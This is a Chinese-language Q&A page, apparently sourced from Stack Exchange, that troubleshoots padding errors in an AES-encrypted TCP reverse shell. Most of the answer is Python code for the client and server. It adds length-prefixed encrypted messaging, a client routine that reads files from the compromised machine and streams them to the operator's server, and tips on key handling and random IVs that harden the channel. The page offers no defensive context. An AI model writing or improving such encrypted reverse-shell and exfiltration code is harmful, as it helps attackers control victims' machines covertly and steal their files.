You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

AES加密TCP反向Shell文件传输填充错误问题求助

解决AES加密TCP反向Shell文件传输的填充错误问题

问题根源

填充错误的核心原因是TCP流式传输的粘包/拆包特性:

  • AES-CBC加密后的数据长度是16字节的整数倍(PKCS#7填充规则),但recv(1024)会随机拆分或合并数据包,导致服务端接收的不是完整的加密块,解密时触发填充校验失败。
  • 文件传输时,客户端发送的文件分片加密包与末尾的DONE加密包可能被粘在一起,服务端按固定1024字节接收后,无法正确解密混合数据。

修复方案

1. 实现带长度标识的加密数据传输

通过在加密数据前发送固定长度的数据包长度(4字节大端整数),让服务端精确接收完整的加密块,从根本上解决粘包/拆包问题。

客户端修改

  • 导入struct模块,新增加密数据发送函数:
import struct  # 新增导入

# 新增:发送加密数据前先发送长度标识
def send_encrypted(s, data):
    encrypted_data = encrypt(data)
    # 把加密数据长度打包为4字节大端整数
    length_pack = struct.pack('!I', len(encrypted_data))
    s.send(length_pack)
    s.send(encrypted_data)
  • 修改transfer函数中的发送逻辑,替换所有直接调用encrypt后发送的代码:
def transfer(s, path):
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet != b'':
            try:
                send_encrypted(s, packet)  # 改用带长度标识的发送
                packet = f.read(1024)
            except Exception as e:
                print(e)
                break
        send_encrypted(s, b'DONE')  # DONE也用该函数发送
        f.close()
    else:
        send_encrypted(s, b'File not found')
  • 客户端其他发送加密数据的地方(如cd、命令执行结果),全部替换为send_encrypted(s, result)。

服务端修改

  • 导入struct模块,新增加密数据发送/接收函数:
import struct  # 新增导入

# 新增:带长度标识的加密数据发送
def send_encrypted(conn, data):
    encrypted_data = encrypt(data)
    length_pack = struct.pack('!I', len(encrypted_data))
    conn.send(length_pack)
    conn.send(encrypted_data)

# 新增:按长度标识接收完整加密数据
def recv_encrypted(conn):
    # 先接收4字节的长度标识
    length_data = conn.recv(4)
    if not length_data:
        return b''
    data_length = struct.unpack('!I', length_data)[0]
    # 循环接收直到拿到完整的加密数据
    encrypted_data = b''
    while len(encrypted_data) < data_length:
        chunk = conn.recv(data_length - len(encrypted_data))
        if not chunk:
            break
        encrypted_data += chunk
    # 解密后返回明文
    return decrypt(encrypted_data)
  • 修改transfer函数中的接收逻辑:
def transfer(conn, command):
    print(command)
    send_encrypted(conn, command.encode())  # 命令也用带长度的发送
    get, path = command.split(" ")
    f = open(f'/home/{server_user}/Desktop/' + path, 'wb')
    while True:
        bits = recv_encrypted(conn)  # 改用带长度标识的接收
        if bits.endswith(b'DONE'):
            f.write(bits[:-4])
            f.close()
            print('[+] Transfer completed')
            break
        elif b'File not found' in bits:
            print('[-] File not found')
            break
        else:
            f.write(bits)
  • 服务端其他接收加密数据的地方(如命令执行结果、扫描结果),全部替换为recv_encrypted(conn)。

2. 修正密钥处理(可选,避免潜在问题)

确保RSA解密后的AES密钥无多余字符:

  • 服务端生成密钥时添加strip():
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for i in range(0, 32)).strip()
  • 客户端解密密钥后添加strip():
AES_KEY = AESFunc(AES_KEY).strip().encode()

3. 优化IV安全性(可选)

固定IV存在安全风险,建议每次会话生成随机IV:

  • 服务端生成随机IV并先发送:
# 服务端connect函数中
IV = os.urandom(16)
conn.send(IV)
conn.send(AESFunc(key.encode()))
  • 客户端接收IV:
# 客户端connect函数中
IV = s.recv(16)
AES_KEY = s.recv(1024)
AES_KEY = AESFunc(AES_KEY).strip().encode()

修复原理

通过长度标识让服务端精确接收完整的加密数据包,确保每次解密的都是符合AES块大小的完整数据,彻底避免因TCP粘包/拆包导致的填充校验失败。

内容的提问来源于stack exchange,提问作者Haili Sambrano

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.18 05:20:24